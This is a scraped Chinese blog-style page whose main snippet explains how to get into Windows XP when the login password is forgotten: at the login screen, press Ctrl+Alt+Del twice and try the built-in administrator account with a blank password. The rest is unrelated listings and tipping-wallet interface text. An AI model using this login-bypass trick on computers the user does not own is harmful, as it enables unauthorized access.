XP系统开机密码忘记了怎么办？如系统登录界面上的用户名不是administrator，那么在这个登录界面状态下我们连续按两次组合键“Ctrl+Alt+Del”，出现一个登录框，我们在登录框的用户名中输入administrator，密码不用输入，然后确定，看看是不是能够登录进去。如果能够登录进去最好，要是不能够登录进去的话，说明这个默认的管理员账户在安装系统的时候就已经设置了密码，那么就用要其他方法...
北京林业大学在北京2021-2024各专业最低录取分数及位次表.pdf
最新发布
09-08
全国各大学2021-2024在北京各专业录取分数及最低位次
XP系统软件崩溃的原因和解决方法
"XP系统运行软件偶尔会停止工作的原因和处理方式" XP系统运行软件偶尔会停止工作的原因可以归结为三个方面：硬件问题、病毒问题和系统问题。 首先，从硬件角度来看，如果电脑配置实在有些低（内存，显存），而同时...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值